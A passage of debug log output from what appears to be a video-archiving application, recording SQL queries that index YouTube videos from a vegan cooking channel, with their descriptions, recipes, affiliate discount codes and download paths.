discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 tofu recipes even MEAT eaters will devour | Easy vegan recipes", 1, nil, false, "SsYdc2B_2xA", "https://www.youtube.com/watch?v=SsYdc2B_2xA", "/downloads/downloads/alec/Steamy Vegan/2025-12-26 2 tofu recipes even MEAT eaters will devour | Easy vegan recipes/2 tofu recipes even MEAT eaters will devour | Easy vegan recipes [SsYdc2B_2xA].NA", false, ~U[2025-12-26 00:00:00Z]] 20:31:06.358 [debug] QUERY OK source="sources" db=1.1ms idle=16.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.360 [debug] QUERY OK source="media_items" db=2.1ms idle=7.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-21 00:00:00Z], 1] 20:31:06.363 [debug] QUERY OK source="media_items" db=2.1ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan meatball lentil recipe is a high-protein, healthy, gluten-free! The perfect vegan comfort food. These lentil meatballs have 26g of protein per 5 meatballs and have no soy, are oil-free, and are whole food plant based. This vegan recipe is such a great way to use lentils!\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nSign up for my free email list: http://eepurl.com/iUdmrI\n\nLENTIL WALNUT MEATBALLS (Makes 19-20 meatballs) \n5 meatballs = 585 cal, 26g protein, 74g carbs, 24g fat, 15g fibre!\nRecipe hitting blog soon 😉 For now, enjoy it here\n\n1 cup dried green or brown lentils, rinsed or 2½ cups cooked/canned lentils\n3 tbsp ground flaxseed\n1 small onion, finely diced\n1 large celery stalk, finely diced\n3 garlic cloves, minced\n1 large carrot, shredded\n½ cup dried cranberries, soaked in hot water\n1 tsp cumin seeds\n1½ tsp salt, plus more to taste\n1½ tsp dried sage or 2 tbsp fresh, minced\n1½ tsp dried rosemary or 2 tbsp fresh, minced\n4 tbsp nutritional yeast\n2 tsp smoked paprika\n1 cup toasted walnuts, chopped\n¾ cup rolled oats\n¼ to ½ cup oat flour\n1 to 2 tbsp tapioca starch\nblack pepper to taste\n\n1. Bring 2 ½ cups water or veggie broth to a boil in a medium saucepan over high heat. Add the lentils, partially cover the pan with a lid, and cook until tender, 30 to 40 minutes. Drain (if needed) and set aside.\n2. Preheat the oven to 350F. Spread the walnuts on a small baking sheet and toast for 10 minutes in the oven until deepened in colour and they smell fragrant and toasty. You can also do this in a skillet over medium-low heat for 10 minutes, shaking the skillet to prevent burning.\n3. In a small bowl, stir the ground flax seeds and ½ cup water together, then set it aside to thicken while you prep your other ingredients (about 10 mins).\n4. Heat 3 tbsp water or 1 tbsp oil in a large skillet over medium-high heat. Add the onion, celery, and garlic, and sauté until the onion softens, about 3 minutes.\n5. Add the shredded carrot, soaked cranberries, sage, rosemary, cumin seeds, salt and pepper, and cook for a further 3 minutes or so, until the carrots are softened.\n6. Remove the pan from the heat and transfer the mixture to a large mixing bowl. Add the nutritional yeast, cooked lentils, flax mixture, minced walnuts, oats and oat flour, smoked paprika, salt, pepper, and chili flakes. Stir well to combine all the ingredients, taste and adjust seasonings as needed.\n7. The mixture should stick together, but you can also add an immersion blender to the mixture and blend for 5-10 seconds or until a small portion is blended, which can help the mixture stick together better. If it’s still too moist add another tbsp of tapioca starch. If it’s too dry, add a tbsp of water at a time until moist enough.\n8. Preheat the oven to 350F and line a baking sheet with parchment paper. Using your hands, form the mixture into 2-3 tbsp-sized balls, and place them on the parchment lined baking sheet. Bake for 35 to 40 minutes until golden brown. \n9. Serve over pasta or with mashed potatoes and veggies with gravy, or however you like!\n\n\n💚 OTHER PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living Protein Powder (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your f" <> ..., "This lentil recipe is a MUST TRY (no tofu, oil-free, GF, and WFPB)", "0d953d5f-2b87-41ba-8841-2a2c2c15c785", 1, [], false, "9hb6H1ZBys0", "https://www.youtube.com/watch?v=9hb6H1ZBys0", 32, "/downloads/downloads/alec/Steamy Vegan/2025-12-21 This lentil recipe is a MUST TRY (no tofu, oil-free, GF, and WFPB)/This lentil recipe is a MUST TRY (no tofu, oil-free, GF, and WFPB) [9hb6H1ZBys0].NA", false, false, false, 1, ~U[2025-12-21 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This vegan meatball lentil recipe is a high-protein, healthy, gluten-free! The perfect vegan comfort food. These lentil meatballs have 26g of protein per 5 meatballs and have no soy, are oil-free, and are whole food plant based. This vegan recipe is such a great way to use lentils!\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nSign up for my free email list: http://eepurl.com/iUdmrI\n\nLENTIL WALNUT MEATBALLS (Makes 19-20 meatballs) \n5 meatballs = 585 cal, 26g protein, 74g carbs, 24g fat, 15g fibre!\nRecipe hitting blog soon 😉 For now, enjoy it here\n\n1 cup dried green or brown lentils, rinsed or 2½ cups cooked/canned lentils\n3 tbsp ground flaxseed\n1 small onion, finely diced\n1 large celery stalk, finely diced\n3 garlic cloves, minced\n1 large carrot, shredded\n½ cup dried cranberries, soaked in hot water\n1 tsp cumin seeds\n1½ tsp salt, plus more to taste\n1½ tsp dried sage or 2 tbsp fresh, minced\n1½ tsp dried rosemary or 2 tbsp fresh, minced\n4 tbsp nutritional yeast\n2 tsp smoked paprika\n1 cup toasted walnuts, chopped\n¾ cup rolled oats\n¼ to ½ cup oat flour\n1 to 2 tbsp tapioca starch\nblack pepper to taste\n\n1. Bring 2 ½ cups water or veggie broth to a boil in a medium saucepan over high heat. Add the lentils, partially cover the pan with a lid, and cook until tender, 30 to 40 minutes. Drain (if needed) and set aside.\n2. Preheat the oven to 350F. Spread the walnuts on a small baking sheet and toast for 10 minutes in the oven until deepened in colour and they smell fragrant and toasty. You can also do this in a skillet over medium-low heat for 10 minutes, shaking the skillet to prevent burning.\n3. In a small bowl, stir the ground flax seeds and ½ cup water together, then set it aside to thicken while you prep your other ingredients (about 10 mins).\n4. Heat 3 tbsp water or 1 tbsp oil in a large skillet over medium-high heat. Add the onion, celery, and garlic, and sauté until the onion softens, about 3 minutes.\n5. Add the shredded carrot, soaked cranberries, sage, rosemary, cumin seeds, salt and pepper, and cook for a further 3 minutes or so, until the carrots are softened.\n6. Remove the pan from the heat and transfer the mixture to a large mixing bowl. Add the nutritional yeast, cooked lentils, flax mixture, minced walnuts, oats and oat flour, smoked paprika, salt, pepper, and chili flakes. Stir well to combine all the ingredients, taste and adjust seasonings as needed.\n7. The mixture should stick to (truncated) 20:31:06.365 [debug] QUERY OK source="sources" db=0.9ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.367 [debug] QUERY OK source="media_items" db=1.7ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 00:00:00Z], 1] 20:31:06.370 [debug] QUERY OK source="media_items" db=1.7ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Pulsetto for sponsoring this video. ❤️\nGet your exclusive deal on the Pulsetto Vagus Nerve Stimulator here: https://pulsetto.sjv.io/steamyvegan\n— risk-free with our 30-day money-back guarantee.\n\nIn this 'what I eat in a day' video I'm cooking at home and giving you a real life look into the realistic healthy vegan recipes I made to feel better. I've been feeling quite emotional and low energy, so these easy and high protein vegan meals really did the trick to help me get back into a normal rhythm of cooking after a week of chaos and stress. Gotta love comfort food!\n\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLentil Soup Recipe from this video ❤️ (inspired from Pamela Anderson's recipe)\n\n1 to 2 tbsp extra virgin olive oil\n1 yellow onion, diced\n2 celery stalks, diced\n8 to 10 carrots, diced\n2 cups potatoes, cubed\n4 garlic cloves, minced\n2 tsp ground cumin\n2 tsp ground ginger\n2 tsp smoked paprika\n1 tsp ground turmeric\n1 tsp ground cinnamon\n1 tsp fine sea salt\nFreshly ground black pepper\n1 cup brown or green lentils\n3 tbsp tomato paste\n8½ cups veggie broth or water (or a mix)\n1 400ml can coconut milk\nJuice of 1 lemon\n3 cups spinach/baby spinach\nToppings: vegan sour cream, cilantro or parsley, chili oil, lime wedges, black pepper\n\n1. Heat oil in a large stock pot or Dutch oven over medium-high heat. Add the onion, celery, carrots, potatoes, and garlic and cook for 5 minutes, stirring occasionally, until softened slightly.\n2. Stir in the cumin, ginger, smoked paprika, turmeric, cinnamon, sea salt, and black pepper, and cook for 2 minutes, ensuring the spices are well combined.\n3. Add the lentils and tomato paste, really mixing well, and sauté for for another couple minutes.\nAdd the veggie broth, cover, and and bring the soup to a boil. Lower the heat to medium-low and simmer for 20 minutes.\n4. Add the coconut milk, lemon juice and spinach and continue stirring until the spinach has wilted, about 2 minutes or so.\n5. Taste and adjust seasonings before serving, then top with your desired garnishes.\n\n\nBuydeem Slow Cooker 20% Off Discount:\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com", "What I eat in a day to feel better (when I'm sad) 💔 Comforting vegan recipes", "85c770da-0120-40e2-b31e-83ec812112db", 1, [], false, "d6Cg9oU_OZ4", "https://www.youtube.com/watch?v=d6Cg9oU_OZ4", 33, "/downloads/downloads/alec/Steamy Vegan/2025-12-16 What I eat in a day to feel better (when I'm sad) 💔 Comforting vegan recipes/What I eat in a day to feel better (when I'm sad) 💔 Comforting vegan recipes [d6Cg9oU_OZ4].NA", false, false, false, 1, ~U[2025-12-16 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Thank you to Pulsetto for sponsoring this video. ❤️\nGet your exclusive deal on the Pulsetto Vagus Nerve Stimulator here: https://pulsetto.sjv.io/steamyvegan\n— risk-free with our 30-day money-back guarantee.\n\nIn this 'what I eat in a day' video I'm cooking at home and giving you a real life look into the realistic healthy vegan recipes I made to feel better. I've been feeling quite emotional and low energy, so these easy and high protein vegan meals really did the trick to help me get back into a normal rhythm of cooking after a week of chaos and stress. Gotta love comfort food!\n\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLentil Soup Recipe from this video ❤️ (inspired from Pamela Anderson's recipe)\n\n1 to 2 tbsp extra virgin olive oil\n1 yellow onion, diced\n2 celery stalks, diced\n8 to 10 carrots, diced\n2 cups potatoes, cubed\n4 garlic cloves, minced\n2 tsp ground cumin\n2 tsp ground ginger\n2 tsp smoked paprika\n1 tsp ground turmeric\n1 tsp ground cinnamon\n1 tsp fine sea salt\nFreshly ground black pepper\n1 cup brown or green lentils\n3 tbsp tomato paste\n8½ cups veggie broth or water (or a mix)\n1 400ml can coconut milk\nJuice of 1 lemon\n3 cups spinach/baby spinach\nToppings: vegan sour cream, cilantro or parsley, chili oil, lime wedges, black pepper\n\n1. Heat oil in a large stock pot or Dutch oven over medium-high heat. Add the onion, celery, carrots, potatoes, and garlic and cook for 5 minutes, stirring occasionally, until softened slightly.\n2. Stir in the cumin, ginger, smoked paprika, turmeric, cinnamon, sea salt, and black pepper, and cook for 2 minutes, ensuring the spices are well combined.\n3. Add the lentils and tomato paste, really mixing well, and sauté for for another couple minutes.\nAdd the veggie broth, cover, and and bring the soup to a boil. Lower the heat to medium-low and simmer for 20 minutes.\n4. Add the coconut milk, lemon juice and spinach and continue stirring until the spinach has wilted, about 2 minutes or so.\n5. Taste and adjust seasonings before serving, then top with your desired garnishes.\n\n\nBuydeem Slow Cooker 20% Off Discount:\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com", "What I eat in a day to feel better (when I'm sad) 💔 Comforting vegan recipes", 1, nil, false, "d6Cg9oU_OZ4", "https://www.youtube.com/watch?v=d6Cg9oU_OZ4", "/downloads/downloads/alec/Steamy Vegan/2025-12-16 What I eat in a day to feel better (when I'm sad) 💔 Comforting vegan recipes/What I eat in a day to feel better (when I'm sad) 💔 Comforting vegan recipes [d6Cg9oU_OZ4].NA", false, ~U[2025-12-16 00:00:00Z]] 20:31:06.371 [debug] QUERY OK source="sources" db=0.7ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.374 [debug] QUERY OK source="media_items" db=2.5ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 00:00:00Z], 1] 20:31:06.376 [debug] QUERY OK source="media_items" db=1.7ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this cook with me video we're making a vegan spaghetti bolognese with the Buydeem 5-in-1 slow cooker. This vegan recipe is perfect to slow cook overnight or put your slow cooker on high and cook within in about 2 hours. To replace meat in this recipe we'll be using a delicious trio of lentils, walnuts and mushrooms to make the most delicious vegan bolognese (which also happens to be super meal prep friendly!)\n\nBuydeem Slow Cooker 20% Off Discount:\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n#BUYDEEM #BUYDEEMSlowCooker\n\nGet the VEGAN BOLOGNESE RECIPE on my blog! ⬇️\n🔗: https://steamyvegan.com/vegan-lentil-...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTags: #BUYDEEM #BUYDEEMSlowCooker\n\n💚 OTHER PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "VEGAN Bolognese | Cook With Me! 🍝 (Using my Buydeem Slow Cooker)", "2905c228-cd08-4e4d-8c1b-53cfbf699562", 1, [], false, "VckfmWPVFCU", "https://www.youtube.com/watch?v=VckfmWPVFCU", 34, "/downloads/downloads/alec/Steamy Vegan/2025-12-08 VEGAN Bolognese | Cook With Me! 🍝 (Using my Buydeem Slow Cooker)/VEGAN Bolognese | Cook With Me! 🍝 (Using my Buydeem Slow Cooker) [VckfmWPVFCU].NA", false, false, false, 1, ~U[2025-12-08 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this cook with me video we're making a vegan spaghetti bolognese with the Buydeem 5-in-1 slow cooker. This vegan recipe is perfect to slow cook overnight or put your slow cooker on high and cook within in about 2 hours. To replace meat in this recipe we'll be using a delicious trio of lentils, walnuts and mushrooms to make the most delicious vegan bolognese (which also happens to be super meal prep friendly!)\n\nBuydeem Slow Cooker 20% Off Discount:\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n#BUYDEEM #BUYDEEMSlowCooker\n\nGet the VEGAN BOLOGNESE RECIPE on my blog! ⬇️\n🔗: https://steamyvegan.com/vegan-lentil-...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTags: #BUYDEEM #BUYDEEMSlowCooker\n\n💚 OTHER PRODUCTS I LOVE USING💚\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "VEGAN Bolognese | Cook With Me! 🍝 (Using my Buydeem Slow Cooker)", 1, nil, false, "VckfmWPVFCU", "https://www.youtube.com/watch?v=VckfmWPVFCU", "/downloads/downloads/alec/Steamy Vegan/2025-12-08 VEGAN Bolognese | Cook With Me! 🍝 (Using my Buydeem Slow Cooker)/VEGAN Bolognese | Cook With Me! 🍝 (Using my Buydeem Slow Cooker) [VckfmWPVFCU].NA", false, ~U[2025-12-08 00:00:00Z]] 20:31:06.377 [debug] QUERY OK source="sources" db=1.0ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.380 [debug] QUERY OK source="media_items" db=2.2ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-26 00:00:00Z], 1] 20:31:06.388 [debug] QUERY OK source="media_items" db=7.3ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day I'll show you all of the healthy high-protein vegan recipes that I eat on a vegan diet to feel good. These cozy recipes are perfect for chilly fall days when the days are shorter and you want a delicious vegan meal to make you feel your best self. Hope you enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n🌱 RECIPES FEATURED IN THIS EPISODE 🌱\nGingerbread Oatmeal ➡️ https://steamyvegan.com/gingerbread-o...\nCaraemlized Onion Rosé Pasta ➡️ https://steamyvegan.com/caramelized-o...\n\n💚 PRODUCTS I USED IN THIS EPISODE 💚\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nWant more cozy fall recipes? Check out these ones:\nPesto Tofu and Teriyaki Tofu: \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nHomemade Breakfast Sausage: \u00A0\u00A0\u00A0•\u00A0HIgh-Protein\u00A0VEGAN\u00A0Breakfast\u00A0Sausage\u00A0Recip...\u00A0\u00A0\n2 Lazy Girl Dinners: \u00A0\u00A0\u00A0•\u00A02\u00A0Lazy\u00A0Girl\u00A0Vegan\u00A0Recipes\u00A0🥱\u00A0EASY\u00A0&\u00A0DELICIOUS\u00A0\u00A0\n\n💚 OTHER PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "What I Eat in a Day 🌱 Cozy, Feel Good, Fall Vegan Recipes", "85bca4c4-12bd-42f3-af4e-cc8002976d1b", 1, [], false, "rfFXEXpg43I", "https://www.youtube.com/watch?v=rfFXEXpg43I", 35, "/downloads/downloads/alec/Steamy Vegan/2025-11-26 What I Eat in a Day 🌱 Cozy, Feel Good, Fall Vegan Recipes/What I Eat in a Day 🌱 Cozy, Feel Good, 